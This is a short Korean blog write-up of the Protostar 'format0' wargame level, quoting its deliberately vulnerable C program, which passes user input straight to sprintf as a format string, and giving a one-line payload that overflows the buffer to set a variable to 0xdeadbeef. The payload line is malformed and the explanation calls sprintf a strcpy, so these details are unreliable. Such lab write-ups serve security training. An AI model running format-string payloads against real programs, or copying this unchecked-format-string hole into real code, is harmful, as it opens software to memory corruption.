system

[protostar]format0

lulurara 2020. 11. 2. 00:58
반응형

This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.

Hints:

This level should be done in less than 10 bytes of input.
"Exploiting format string vulnerabilities"
This level is at /opt/protostar/bin/format0

-

-> strings에 대한 포맷을 소개하고 공격자가 strings포맷 프로그램 흐름 실행을 어떻게 변경하는지에 대해 소개하한다.

 

format0.c

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void vuln(char *string)
{
  volatile int target;
  char buffer[64];

  target = 0;

  sprintf(buffer, string);
  
  if(target == 0xdeadbeef) {
      printf("you have hit the target correctly :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

target이 있고, 버퍼 사이즈 크기가 명시되어 있다. 

stprintf()를 통해 버퍼를 string에 strcpy한다.

타겟이 0xdeadbeef이면 잘 했다고 나온다.

 

>./format0 'python -c 'print "\x64c"+"\xef\xbe\xad\xde"''

버퍼 크기를 다 채워주고 deadbeef로 만들면 

"You have hit the target correctly"가 잘 나옴을 확인할 수 있다.

반응형